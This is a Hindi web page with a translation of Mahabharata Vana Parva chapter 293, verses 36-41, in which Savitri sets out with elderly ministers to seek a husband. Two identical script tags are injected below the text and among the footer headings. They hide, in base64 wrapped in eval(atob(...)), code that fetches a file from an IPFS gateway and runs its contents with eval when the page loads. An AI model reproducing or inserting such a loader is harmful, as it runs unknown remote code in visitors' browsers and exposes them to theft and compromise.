महाभारत वन पर्व अध्याय 293 श्लोक 36-41
त्रिनवत्यधिकद्विशततम (293) अध्याय: वन पर्व (पतिव्रतामाहात्म्यपर्व)
मेरी यह बात सुनकर तू पति की खोज करने में शीघ्रता कर। ऐसी चेष्टा कर, जिससे मैं देवताओं की दृष्टि में अपराधी न बनूँ । मार्कण्डेयजी कहते हैं- युधिष्ठिर ! पुत्री से ऐसा कहकर राजा ने बूढ़े मन्त्रियों को आज्ञा दी- ‘आप लोग यात्रा के लिये आवश्यक सामग्री (वाहन आदि) लेकर सावित्री के साथ जायँ’। मनस्विनी सावित्री ने कुछ लज्जित होकर पिता के चरणों में प्रणाम किया और उनकी आज्ञा शिरोधार्य करके बिना कुछ सोच-विचार किये उसने प्रस्थान कर दिया । सुवर्णमय रथ पर सवार हो बूढ़े मन्त्रियों से घिरी हुई वह राजकन्या राजर्षियों के सुरम्य तपोवनों में गयी । तात ! वहाँ माननीय वृद्धजनों की चरण वन्दना करके उसने क्रमशः सभी वनों में भ्रमण किया । इस प्रकार राजकुमारी सावित्री सभी तार्थों में जाकर श्रेष्ठ ब्राह्मणों को धनदान करती हुई विभिन्न देशों में घूमती फिरी ।
इस प्रकार श्रीमहाभारत वनपर्व के अनतर्गत पतिव्रतामाहात्म्यपर्व में सावित्री उपाख्यान विषयक दो सौ तिरानवेवाँ अध्याय पूरा हुआ।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>